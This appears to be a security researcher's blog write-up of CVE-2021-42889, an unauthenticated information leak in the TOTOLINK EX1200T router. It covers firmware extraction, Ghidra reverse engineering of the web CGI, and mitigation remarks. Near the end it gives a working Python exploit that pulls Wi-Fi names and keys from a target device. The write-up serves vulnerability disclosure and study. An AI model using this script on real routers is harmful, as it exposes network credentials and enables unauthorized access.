CVE-2021-42889: Access Points information leak

13 minute read

Introduction

A vulnerability discovered in TOTOLINK EX1200T model known as CVE-2021-42889 which lead to an exposure of sensitive information such as (wifikey, wifiname) and many more of the AP configurations, as a results anyone exploit this vulnerability can get access to the network. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions)

Obtaining the Firmware

Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215 and we have many ways to do it:

  • You can search for the firmware on the official website for the vendor.

  • Download it from any other source (after someone already dump it from the device and published it).

  • Dump the firmware through UART, You could read a detailed blog from Here.

  • Also, you could contact the support to provide you with the firmware.

  • Finally dumping the firmware using CH341A Mini programmer USB, You could read a detailed blog from Here.

In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web" and here is the output:

$ ls
TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
76            0x4C            JFFS2 filesystem, little endian
209052        0x3309C         Zlib compressed data, compressed
209388        0x331EC         Zlib compressed data, compressed
210144        0x334E0         Zlib compressed data, compressed
210832        0x33790         JFFS2 filesystem, little endian
231428        0x38804         Zlib compressed data, compressed
231988        0x38A34         Zlib compressed data, compressed
232548        0x38C64         Zlib compressed data, compressed
233116        0x38E9C         Zlib compressed data, compressed
233560        0x39058         JFFS2 filesystem, little endian
254344        0x3E188         Zlib compressed data, compressed
254696        0x3E2E8         JFFS2 filesystem, little endian
255224        0x3E4F8         Zlib compressed data, compressed
256064        0x3E840         JFFS2 filesystem, little endian
321636        0x4E864         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes

And as i am using Windows Subsystem Linux (WSL), Here we can browser our firmware normally:

The Analysis

It’s the time for the analysis. We will need Burp Suite to see how is the request made that exposing these sensitive information. When we login to the device panel and go to AP Settings tab & then go to Burp Suite and look at the made requests we can see the following request:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://192.168.0.254
DNT: 1
Connection: close
Referer: http://192.168.0.254/ap.asp?timestamp=1679528272527
Cookie: SESSION_ID=2:1617145753:2

{"topicurl":"setting/getWiFiApConfig"}

And if we go to the response tab for this request we can see it leaks all the information about the APs including the name and the key for each one:

Let’s go with Ghidra and reverse the cstecgi.cgi file. Now, By going to the file and check it with the file command, We can see it’s an ELF 32bit MIPS file:

Open it and create a new project i named it EX1200T for the device name and drop the cstecgi.cgi file into the project:

After that open the file using Code Browser within Ghidra:

Then, analysis the file:

Navigating to Symbol Tree and let’s check out the functions:

After going through the functions clearly inside FUN_00400dd8 function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:

We just can see that httpStatus, redirectURL & responseParam being passed to some unclear functions. But, You can see under \squashfs-root\lib\cste_modules folder that there are libraries named as the following:

app.so
cloudupdate.so
global.so
lan.so
product.so
system.so
upgrade.so
wireless.so
wps.so

After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi to perform different operations and changes through the device panel. Let’s identify which one contains the getWiFiApConfig by searching through the following Bash one liner using strings command:

for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "getWiFiApConfig"; done

The above line will print the library name after this will run the strings command on the library to get any string has the word getWiFiApConfig and will print the results under the library name. Therefore, we will be able to know which library get the information about the APs or anything related. Command output:

Lib Name: app.so

Lib Name: cloudupdate.so

Lib Name: global.so

Lib Name: lan.so

Lib Name: product.so

Lib Name: system.so

Lib Name: upgrade.so

Lib Name: wireless.so
getWiFiApConfig
getWiFiApConfig

Lib Name: wps.so

And as we can see it’s with-in the wireless.so library, As we did with the cstecgi.cgi file. Let’s do the same with the library with Ghidra. After opening the Functions tab under Symbol Tree we can notice the getWiFiApConfig function:

So, We can say the flaw is as the following:

getWiFiApConfig

Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters

undefined4 getWiFiBasicConfig(undefined4 param_1,undefined4 param_2,undefined4 param_3)

After that the rest of the code is declering of variables until we reach the line number 41:

The code starts with sets the names of the wireless networks wlan0 and wlan0-vxd, and then uses the SetWlan_idx() function to set the index of the wireless network to wlan0, After that retrieves the SSID of the wireless network using the apmib_get() function and adds it to a JSON object named uVar1.Then retrieves the wireless channel and regulatory domain of the network and adds them to the JSON object, Also it gets the band (either 2.4GHz or 5GHz) of the wireless network and adds it to the JSON object. Finally, it calls the getRepeaterStatus() function to retrieve the status of a wireless repeater and stores the result in the variable iVar3. We can clearly guess that &local_68 is the wlan0, &local_60 is the wlan0-vxd and uVar1 is the JSON object. So, Let’s rename these variables in Ghidra to make the code more clear.

The following lines is a condition checks If iVar2 is equal to 1 then it will call the getWirelessChannel() function with &wlan0 as an argument and assign the results to local_30[0] Variable. If iVar2 is not equal to 1 then it calls apmib_get() with arguments of 2 and local_30 which presumably retrieves some value from configurations on device setting and stores it in local_30[0].

The above lines of code do the same as the previous lines but for the 5G wireless network.

the above lines sprintf() function is used for formats the string with an integer value from local_30[0] and stores the result in the memory location pointed to by local_50, Then a cJSON string is created using the previously formatted string and assigned to uVar1 and a cJSON string is added to jsonData with the key channel, After that wireless key is retrieved by calling the getWirelessKey() function with &wlan0 as an argument and the result is assigned to uVar1 & then cJSON string is created using the wireless key and assigned to uVar1, After that cJSON string is added to jsonData with a key represented by &DAT_000214d4. It checks if a file named /mnt/custom/product.ini exists by calling the f_file_exist() function. Then results assigned to iVar2. We have a IF condition if the file doesn’t exist, a cJSON string with value 0 is created and added to jsonData with the key edupSupport. else If the file exists, it reads the edupSupport value from the PRODUCT section in the INI file, creates a cJSON string with that value, and adds it to jsonData with the same key. Then, SetWlan_idx() function is called with the &wlan0 argument. Finally, jsonData is printed, and the result is assigned to __ptr which passed to the webGetCfgResponse() to send it as a response for the user.

getWiFiApInfo

Another function leaking the same and more information about the APs including the status of the AP and many more, if we navigate to the function code in Ghidra as the following:

It’s mostly do the same as the getWiFiApConfig function but with more information included.

Function code:

undefined4 getWiFiApInfo(undefined4 param_1,undefined4 param_2,undefined4 param_3)

{
  undefined4 uVar1;
  char *__nptr;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  void *__ptr;

  //... VARIABLES

  __nptr = (char *)websGetVar(param_2,"wifiIdx","0");
  iVar2 = atoi(__nptr);
  sprintf((char *)&local_238,"wlan%d",iVar2);
  sprintf((char *)&local_230,"wlan%d-va0",iVar2);
  sprintf((char *)&local_220,"wlan%d-va1",iVar2);
  sprintf((char *)&local_210,"wlan%d-vxd",iVar2);
  SetWlan_idx(&local_238);
  uVar3 = getOperationMode();
  uVar5 = FUN_00020b20(uVar3);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"operationMode",uVar3);
  apmib_get(2,&local_5c);
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"channel",uVar3);
  uVar3 = getWirelessChannel(&local_238);
  uVar5 = FUN_00020b20(uVar3);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"autoChannel",uVar3);
  uVar3 = getWirelessBand(&local_238);
  uVar5 = FUN_00020b20(uVar3);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"band",uVar3);
  iVar4 = is_interface_up(&local_238);
  local_5c = (uint)(iVar4 == 0);
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"wifiOff1",uVar3);
  apmib_get(1,&local_13c);
  uVar3 = cJSON_CreateString(&local_13c);
  cJSON_AddItemToObject(uVar1,"ssid1",uVar3);
  getIfMac(&local_238,&local_118);
  uVar3 = cJSON_CreateString(&local_118);
  cJSON_AddItemToObject(uVar1,"bssid1",uVar3);
  uVar3 = getAuthMode(&local_238);
  sprintf((char *)&local_104,"%s",uVar3);
  uVar3 = getEncrypType(&local_238);
  sprintf((char *)&local_94,"%s",uVar3);
  uVar3 = getWirelessKey(&local_238);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"wifiKey1",uVar3);
  memset(local_200,0,0x41);
  memset(local_200,0,0x41);
  sprintf(acStack_1bc,"cat proc/%s/sta_info | grep active | cut -f2 -d \':\' | cut -f1 -d \')\'",
          &local_238);
  local_5c = getCmdVal(acStack_1bc);
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"staNum1",uVar3);
  SetWlan_idx(&local_230);
  apmib_get(0x16,&local_5c);
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"wifiOff2",uVar3);
  apmib_get(1,&local_13c);
  uVar3 = cJSON_CreateString(&local_13c);
  cJSON_AddItemToObject(uVar1,&DAT_00021938,uVar3);
  getIfMac(&local_230,&local_118);
  uVar3 = cJSON_CreateString(&local_118);
  cJSON_AddItemToObject(uVar1,"bssid2",uVar3);
  uVar3 = getAuthMode(&local_230);
  sprintf((char *)&local_f4,"%s",uVar3);
  uVar3 = getEncrypType(&local_230);
  sprintf((char *)&local_8c,"%s",uVar3);
  uVar3 = getWirelessKey(&local_230);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"wifiKey2",uVar3);
  if (local_5c == 0) {
    memset(local_200,0,0x41);
    sprintf(acStack_1bc,"cat /proc/%s/sta_info | grep hwaddr | awk \'{count++} END{print count}\'",
            &local_230);
    iVar4 = getCmdResult(acStack_1bc,local_200,0x41);
    if ((iVar4 == 0) && (local_200[0] != '\0')) {
      iVar4 = atoi(local_200);
    }
    else {
      iVar4 = 0;
    }
    uVar5 = FUN_00020b20(iVar4);
    uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
    cJSON_AddItemToObject(uVar1,"staNum2",uVar3);
  }
  else {
    uVar3 = cJSON_CreateNumber(0,0);
    cJSON_AddItemToObject(uVar1,"staNum2",uVar3);
  }
  SetWlan_idx(&local_220);
  apmib_get(0x16,&local_5c);
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"wifiOff3",uVar3);
  apmib_get(1,&local_13c);
  uVar3 = cJSON_CreateString(&local_13c);
  cJSON_AddItemToObject(uVar1,"ssid3",uVar3);
  getIfMac(&local_220,&local_118);
  uVar3 = cJSON_CreateString(&local_118);
  cJSON_AddItemToObject(uVar1,"bssid3",uVar3);
  uVar3 = getAuthMode(&local_220);
  sprintf((char *)&local_e4,"%s",uVar3);
  uVar3 = getEncrypType(&local_220);
  sprintf((char *)&local_84,"%s",uVar3);
  uVar3 = getWirelessKey(&local_220);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"wifiKey3",uVar3);
  if (local_5c == 0) {
    memset(local_200,0,0x41);
    sprintf(acStack_1bc,"cat /proc/%s/sta_info | grep hwaddr | awk \'{count++} END{print count}\'",
            &local_220);
    iVar4 = getCmdResult(acStack_1bc,local_200,0x41);
    if ((iVar4 == 0) && (local_200[0] != '\0')) {
      iVar4 = atoi(local_200);
    }
    else {
      iVar4 = 0;
    }
    uVar5 = FUN_00020b20(iVar4);
    uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
    cJSON_AddItemToObject(uVar1,"staNum3",uVar3);
  }
  else {
    uVar3 = cJSON_CreateNumber(0,0);
    cJSON_AddItemToObject(uVar1,"staNum3",uVar3);
  }
  sprintf(acStack_d4,"%s;%s;%s",&local_104,&local_f4,&local_e4);
  sprintf((char *)&local_7c,"%s;%s;%s",&local_94,&local_8c,&local_84);
  uVar3 = cJSON_CreateString(acStack_d4);
  cJSON_AddItemToObject(uVar1,"authMode",uVar3);
  uVar3 = cJSON_CreateString(&local_7c);
  cJSON_AddItemToObject(uVar1,"encrypType",uVar3);
  uVar3 = cJSON_CreateNumber(0,0x40080000);
  cJSON_AddItemToObject(uVar1,"bssidNum",uVar3);
  SetWlan_idx(&local_210);
  if (iVar2 == 0) {
    apmib_get(0xfa,&local_5c);
    apmib_get(0xfb,&local_13c);
  }
  else {
    apmib_get(0xfc,&local_5c);
    apmib_get(0xfd,&local_13c);
  }
  uVar5 = FUN_00020b20(local_5c);
  uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
  cJSON_AddItemToObject(uVar1,"apcliEnable",uVar3);
  uVar3 = cJSON_CreateString(&local_13c);
  cJSON_AddItemToObject(uVar1,"apcliSsid",uVar3);
  uVar3 = getAuthMode(&local_210);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"apcliAuthMode",uVar3);
  uVar3 = getEncrypType(&local_210);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"apcliEncrypType",uVar3);
  uVar3 = getWirelessKey(&local_210);
  uVar3 = cJSON_CreateString(uVar3);
  cJSON_AddItemToObject(uVar1,"apcliKey",uVar3);
  getWlBssInfo(&local_210,auStack_58);
  sprintf((char *)&local_118,"%02X:%02X:%02X:%02X:%02X:%02X",(uint)local_55,(uint)local_54,
          (uint)local_53,(uint)local_52,(uint)local_51,(uint)local_50);
  uVar3 = cJSON_CreateString(&local_118);
  cJSON_AddItemToObject(uVar1,"apcliBssid",uVar3);
  iVar2 = getRepeaterStatus(&local_210);
  if (iVar2 == 1) {
    uVar3 = cJSON_CreateString("success");
    cJSON_AddItemToObject(uVar1,"apcliStatus",uVar3);
  }
  else {
    uVar3 = cJSON_CreateString(&DAT_000218e4);
    cJSON_AddItemToObject(uVar1,"apcliStatus",uVar3);
  }
  SetWlan_idx(&local_238);
  __ptr = (void *)cJSON_Print(uVar1);
  websGetCfgResponse(param_1,param_3,__ptr);
  free(__ptr);
  cJSON_Delete(uVar1);
  return 0;
}

If we requested this function in the panel we can see the results clearly as the following:

Now, Let’s write a python code to exploit both functions and retrieve the leaked important information:

import requests
import sys
from json import *

def getWiFiApConfig(target):
    url = f"http://{target}/cgi-bin/cstecgi.cgi"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": f"http://{target}", "DNT": "1", "Connection": "close", "Referer": f"http://{target}/ap.asp?timestamp=1679528272527"}
    json={"topicurl": "setting/getWiFiApConfig"}
    r = requests.post(url, headers=headers, json=json)
    data = loads(r.text)
    print("=========================================")
    print("[+] Access Point Information")
    print("SSID:", data["ssid"])
    print("Key:", data["key"])
    print("[+] 5G Access Point Information")
    print("SSID:", data["ssid5g"])
    print("Key:", data["key5g"])

def getWiFiApInfo(target):
    url = f"http://{target}/cgi-bin/cstecgi.cgi"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": f"http://{target}", "DNT": "1", "Connection": "close", "Referer": f"http://{target}/ap.asp?timestamp=1679528272527"}
    json={"topicurl": "setting/getWiFiApInfo"}
    r = requests.post(url, headers=headers, json=json)
    data = loads(r.text)
    print("=========================================")
    print(f"[+] Access Point {data['ssid1']}")
    print("Key:", data["wifiKey1"])
    print("Status:", data["wifiOff1"])
    print("BSSID:", data["bssid1"])
    print(f"[+] Access Point {data['ssid2']}")
    print("Key:", data["wifiKey2"])
    print("Status:", data["wifiOff2"])
    print("BSSID:", data["bssid2"])
    print(f"[+] Access Point {data['ssid3']}")
    print("Key:", data["wifiKey3"])
    print("Status:", data["wifiOff3"])
    print("BSSID:", data["bssid3"])

target = sys.argv[1]
method = int(sys.argv[2])

if method == 1:
    print(f"[*] Target: {target}  Method: getWiFiApConfig")
    getWiFiApConfig(target)
elif method == 2:
    print(f"[*] Target: {target}  Method: getWiFiApInfo Status: (0 Means on/ 1 Means off)")
    getWiFiApInfo(target)
else:
    print("[-] Invalid Method number")

Our code will take 2 parameters the target IP address and a method number (1 for getWiFiApConfig or 2 for getWiFiApInfo), Then It checks the method number and calls the appropriate function for each method. The getWiFiApConfig function retrieves the configuration information for both 2.4G and 5G Access Points, including SSID and key by sending a POST request to the target’s /cgi-bin/cstecgi.cgi with the topicurl parameter set to setting/getWiFiApConfig. After that parsing the JSON data in the response to retrieve the SSID and the key. The getWiFiApInfo function retrieves information for multiple access points, including SSID, key, status and BSSID by sending a POST request to the target’s /cgi-bin/cstecgi.cgi with the topicurl parameter set to setting/getWiFiApInfo. After that parsing the JSON data in the response to retrieve the SSID, key, status and BSSID.

Final Thoughts

As mostly of the vulnerabilities in this device model, There is nothing checks if the user is logged in or no & has a valid session or no, So, It must contain a function to operate all of this and check it. Another thing is not to retrieve the keys of the APs until the user click on show password.

Conclusion

As we saw the functions that are responsible for retrieving the Access Points information and type of information each one bring to the device panel & how it’s done, Also we wrote a code to exploit it and automate this process. Finally, The root cause and highlighted some suggestions to mitigate it.

 

References